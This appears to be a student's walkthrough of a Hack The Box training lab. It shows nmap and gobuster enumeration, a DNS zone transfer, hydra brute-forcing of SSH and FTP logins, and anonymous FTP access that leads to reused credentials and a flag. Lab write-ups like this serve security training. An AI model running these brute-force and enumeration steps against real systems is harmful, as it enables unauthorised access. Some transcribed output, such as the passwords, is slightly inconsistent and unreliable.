

Attacking Common Services - Medium

target: 10.129.201.127

Starting off with a nmap scan using default scripts and service enumeration

```
$ nmap -sc -SV 10.129.201.127 --oA nmap.default.scripts
Starting Nmap 7.94SVN (https://nmap.org) at 2025-01-01 13:23 EST
Nmap scan report for 10.129.201.127
Host is up (0.034s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 71:a8:b0:c6:f3:ca:97:57:64:97:70:f9:fe:5e0c:7b (RSA)
|   256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_  256 2ec2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
53/tcp    open  domain   ISC BIND 9.16.1 (Ubuntu Linux)
|_ dns-nsid:
|_ |_ bind.version: 9.16.1-Ubuntu
110/tcp   open  pop3     Dovecot pop3d
|_ pop3-capabilities: UIDL RESP-CODES USER SASL(PLAIN) CAPA TOP PIPELINING AUTH-RESP-CODE STLS
|_ ssl-cert: Subject: commonName=ubuntuu
|_ Subject Alternative Name: DNS:ubuntuu
|_ Not valid before: 2022-04-11T16:38:55
|_ Not valid after: 2032-04-08T16:38:55
|_ _ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_ _ssl-date: TLS randomness does not represent time
|_ pop3-capabilities: UIDL CAPA RESP-CODES TOP PIPELINING SASL(PLAIN) USER AUTH-RESP-CODE
|_ ssl-cert: Subject: commonName=ubuntuu
|_ Subject Alternative Name: DNS:ubuntuu
|_ Not valid before: 2022-04-11T16:38:55
|_ Not valid after: 2032-04-08T16:38:55
2121/tcp  open  ftp
|_ fingerprint-strings:
|_ GenericLines:
|_ | 220 ProFTPD Server (InLineFTP) [10.129.201.127]
|_ | Invald command: try being more creative
|_ | Invald command: try being more creative
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF:Port2121-TCP:V=7.94SVN|I=7X0=1|MTIME=67758823P=X86_64-pc-linux-gnu|(
SF:GenericLines_80,"220"x20ProFTPDServer"x20(InLineFTP)"x20[10.129
SF:201.127]"x20"x20command:x20try"x20being"x20more"x20c
SF:reative\r\n500"x20Invalid"x20command:"x20try"x20being"x20more"x20creati
SF:ve\r\n")
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

SSH, DNS, POP3, FTP

Attempting to anonymously ftp to the server:

```
ftp anonymous@10.129.201.127 2121
```

failed

Performing some dns subdomain enumeration with gobuster

```
(kali@kali)-[~/htb/attacking_common/medium]
$ gobuster dns -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -d inlanefreight.htb

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Domain: inlanefreight.htb
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt

Starting gobuster in DNS enumeration mode

Progress: 19966 / 19967 (99.99%)

Finished
```

nothing yielded

Attempting to perform a DNS zone transfer

```
dig AXFR @10.129.201.127 inlanefreight.htb
```

```
(kali@kali)-[~/htb/attacking_common/smtp]
$ dig AXFR @10.129.201.127 inlanefreight.htb

;<>> DiG 9.20.4-3-Debian <>> AXFR @10.129.201.127 inlanefreight.htb
; (1 server found)
;; global options: +cmd
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
app.inlanefreight.htb. 604800 IN A 10.129.200.5
dc1.inlanefreight.htb. 604800 IN A 10.129.200.10
dc2.inlanefreight.htb. 604800 IN A 10.129.200.10
int-ftp.inlanefreight.htb. 604800 IN A 127.0.0.1
int-nfs.inlanefreight.htb. 604800 IN A 10.129.200.70
ns.inlanefreight.htb. 604800 IN A 127.0.0.1
un.inlanefreight.htb. 604800 IN A 10.129.200.142
ws1.inlanefreight.htb. 604800 IN A 10.129.200.101
ws2.inlanefreight.htb. 604800 IN A 10.129.200.102
wsus.inlanefreight.htb. 604800 IN A 10.129.200.80
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
;; Query time: 44 msec
;; SERVER: 10.129.201.127#53(10.129.201.127) (TCP)
;; WHEN: Wed Jan 01 13:48:35 EST 2025
;; XFR size: 13 records (messages 1, bytes 372)
```

Attempting to SSH into the machine using the credentials we found last lab (fiona:98776544321)

```

(kali㉿kali)-[~/htb/attacking_common/medium]
$ ssh fiona@10.129.201.127
The authenticity of host '10.129.201.127 (10.129.201.127)' can't be established.
ED25519 key fingerprint is SHA256:HfXWue9Dnk+UvRXP6ytrRnXKIRSiJm058/zFrj/1LvY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.201.127' (ED25519) to the list of known hosts.
fiona@10.129.201.127's password:
Permission denied, please try again.
fiona@10.129.201.127's password:
Permission denied, please try again.
fiona@10.129.201.127's password:
pws (1/2)

(kali㉿kali)-[~/htb/attacking_common/medium]
$ ssh 'fiona@inlanefreight.htb'@10.129.201.127
fiona@inlanefreight.htb@10.129.201.127's password:
Permission denied, please try again.
fiona@inlanefreight.htb@10.129.201.127's password:
Permission denied, please try again.
fiona@inlanefreight.htb@10.129.201.127's password:

```

failed

Getting hydra running against SSH with the htb provided username and password list

```
hydra -L users.list -P pws.list 10.129.201.127 ssh -t 48
```

Also getting hydra running against FTP on the custom port 2121 they had deployed

```
hydra -L users.list -P pws.list ftp://10.129.201.127 -s 2121 -t 48
```

Letting these run for a while didn't discover anything

After hitting a bit of a wall did a nmap rescan with all ports

```
nmap -sC -sV 10.129.201.127 -p- -oA nmap_default_scripts_all_ports
```

For future reference in lab environments where stealth is not important I found it recommended to do the following arguments as part of large nmap scans to

speed it up

```
--min-rate 20000 --stats-every 50s
```

Anyways that did end up finding some additional ports

```
(kali@kali)-[~/htb/attacking_common/medium]
$ nmap -sC -sV 10.129.201.127 -p- -oA nmap_default_scripts_all_ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 13:47 EST
Nmap scan report for inlanefreight.htb (10.129.201.127)
Host is up (0.035s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
53/tcp    open  domain       ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
110/tcp   open  pop3         Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-04-11T16:38:55
|_ Not valid after: 2032-04-08T16:38:55
|_ pop3-capabilities: UIDL RESP-CODES TOP PIPELINING AUTH-RESP-CODE USER SASL(PLAIN) CAPA STLS
|_ ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-04-11T16:38:55
|_ Not valid after: 2032-04-08T16:38:55
|_ ssl-date: TLS randomness does not represent time
|_ pop3-capabilities: UIDL SASL(PLAIN) RESP-CODES TOP PIPELINING USER CAPA AUTH-RESP-CODE
2121/tcp  open  tcpwrapped
30021/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.92 seconds
```

30021 being new

attempting to manually foot print 30021 with telnet since nmap didn't get a banner on it

```
(kali@kali)-[~/htb/attacking_common/medium]
$ telnet 10.129.201.127 30021
Trying 10.129.201.127 ...
Connected to 10.129.201.127.
Escape character is '^]'.
[
[
220 ProFTPD Server (Internal FTP) [10.129.201.127]
500 L not understood
500 L not understood
```

from that we find that its an FTP server

Testing to see if this instance has anonymous access enabled. It does, and we find a file of notes to grab as well

```
(kali@kali)-[~/htb/attacking_common/medium]
$ ftp anonymous@10.129.201.127 30021
Connected to 10.129.201.127.
ls
220 ProFTPD Server (Internal FTP) [10.129.201.127]
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||29139|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x  2 ftp      ftp          4096 Apr 18  2022 simon
226 Transfer complete
ftp> cd simon
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||15461|)
150 Opening ASCII mode data connection for file list
-rw-rw-r--  1 ftp      ftp          153 Apr 18  2022 mynotes.txt
226 Transfer complete
ftp> get mynotes.txt
local: mynotes.txt remote: mynotes.txt
229 Entering Extended Passive Mode (|||18751|)
150 Opening BINARY mode data connection for mynotes.txt (153 bytes)
100% |*****|
226 Transfer complete
153 bytes received in 00:00 (3.72 KiB/s)
ftp>
```

The contents of the file appears to be passwords.

```
kali@kali: ~/Desktop x  nmap all ports x  hydra ssh' x  hydra ftp x  kali@kali: ~/htb/attacking_common/smtp x
GNU nano 8.2 mynotes.txt
234987123948729384293
+23358093845098
ThatsMyBigDog
Rock!ng#May
Puuuuuh7823328
8Ns8j1b123hs4921smHzwn
237oHs71ohls18H127 !!9skaP
238u1xjn1923nZGSb261Bs81
```

Running hydra against ftp on the first port I found with the new password list

```

kali@kali:~/htb/attacking_common/medium
$ hydra -l simon -P mynotes.txt ftp://10.129.231.122:2121 -vv
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-02 16:09:14
[DATA] max 8 tasks per 1 server, overall 8 tasks, 0 login tries (l:l/p:p), ~1 try per task
[DATA] attacking ftp://10.129.231.122:2121/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "234987123948729384293" - 1 of 8 [child 0] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "23358093845098" - 2 of 8 [child 1] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "That'sMyBigDog" - 3 of 8 [child 2] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "RockingMay" - 4 of 8 [child 3] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "Puuuuuh7823328" - 5 of 8 [child 4] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "8Ns8j1b!23hs4921smHzwn" - 6 of 8 [child 5] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "2376H5710h1s18H127!19skap" - 7 of 8 [child 6] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "238u1sxn1923n2Gsb2618s81" - 8 of 8 [child 7] (0/0)
[2121][ftp] host: 10.129.231.122 login: simon password: 8Ns8j1b!23hs4921smHzwn
[STATUS] attack finished for 10.129.231.122 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-02 16:09:22

```

[2121][ftp] host: 10.129.231.122 login: simon password: 8Ns8j1b!23hs4921smHzwn

Running hydra against the other ftp port I found encase the instances are different

```

kali@kali:~/htb/attacking_common/medium
$ hydra -l simon -P mynotes.txt ftp://10.129.231.122:30021 -vv
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-02 16:15:31
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:l/p:p), ~1 try per task
[DATA] attacking ftp://10.129.231.122:30021/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "234987123948729384293" - 1 of 8 [child 0] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "23358093845098" - 2 of 8 [child 1] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "That'sMyBigDog" - 3 of 8 [child 2] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "RockingMay" - 4 of 8 [child 3] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "Puuuuuh7823328" - 5 of 8 [child 4] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "8Ns8j1b!23hs4921smHzwn" - 6 of 8 [child 5] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "2376H5710h1s18H127!19skap" - 7 of 8 [child 6] (0/0)
[ATTEMPT] target 10.129.231.122 - login "simon" - pass "238u1sxn1923n2Gsb2618s81" - 8 of 8 [child 7] (0/0)
[30021][ftp] host: 10.129.231.122 login: simon password: 8Ns8j1b!23hs4921smHzwn
[STATUS] attack finished for 10.129.231.122 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-02 16:15:42

```

[30021][ftp] host: 10.129.231.122 login: simon password: 8Ns8j1b!23hs4921smHzwn

same credentials for both, time to check if there are file differences

FTPing as simon on port 2121

```
(kali@kali) [~/htb/attacking_common/medium]
$ ftp simon@10.129.231.122 2121
Connected to 10.129.231.122.
220 ProFTPD Server (InlaneFTP) [10.129.231.122]
331 Password required for simon
Password:
230 User simon logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||13523|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 root root 29 Apr 20 2022 flag.txt
drwxrwxr-x 3 simon simon 4096 Apr 18 2022 Maildir
226 Transfer complete
ftp> cd Maildir
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||13877|)
150 Opening ASCII mode data connection for file list
-rw-rw-r-- 1 simon simon 452 Apr 18 2022 dovecot.list.index.log
-rw-rw-r-- 1 simon simon 8 Apr 18 2022 dovecot-uidvalidity
-r--r--r-- 1 simon simon 0 Apr 18 2022 dovecot-uidvalidity.625dd61f
226 Transfer complete
ftp> get dovecot.list.index.log
local: dovecot.list.index.log remote: dovecot.list.index.log
229 Entering Extended Passive Mode (|||15464|)
150 Opening BINARY mode data connection for dovecot.list.index.log (452 bytes)
452 370.61 KiB/s
226 Transfer complete
452 bytes received in 00:00 (12.54 KiB/s)
ftp> get dovecot-uidvalidity
local: dovecot-uidvalidity remote: dovecot-uidvalidity
229 Entering Extended Passive Mode (|||60964|)
150 Opening BINARY mode data connection for dovecot-uidvalidity (8 bytes)
8 2.11 KiB/s
226 Transfer complete
8 bytes received in 00:00 (0.20 KiB/s)
ftp> get dovecot-uidvalidity.625dd61f
local: dovecot-uidvalidity.625dd61f remote: dovecot-uidvalidity.625dd61f
229 Entering Extended Passive Mode (|||60520|)
150 Opening BINARY mode data connection for dovecot-uidvalidity.625dd61f
0 0.00 KiB/s
226 Transfer complete
ftp>
```

We see the flag there and I thought that because it was owned by root initially I wouldn't be able to just get it, but that was the case lol

```
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||56048|)
150 Opening BINARY mode data connection for flag.txt (29 bytes)
29 1.93 KiB/s
226 Transfer complete
29 bytes received in 00:00 (0.58 KiB/s)
ftp> quit
221 Goodbye.

(kali@kali) [~/htb/attacking_common/medium]
$ ls
dovecot.list.index.log dovecot-uidvalidity.625dd61f mynotes.txt nmap_default_scripts_all_ports.nmap nmap_default_scripts.gnmap nmap_default_scripts.xml users.list
dovecot-uidvalidity flag.txt nmap_default_scripts_all_ports.gnmap nmap_default_scripts_all_ports.xml nmap_default_scripts.nmap pws.list

(kali@kali) [~/htb/attacking_common/medium]
$ cat flag.txt
```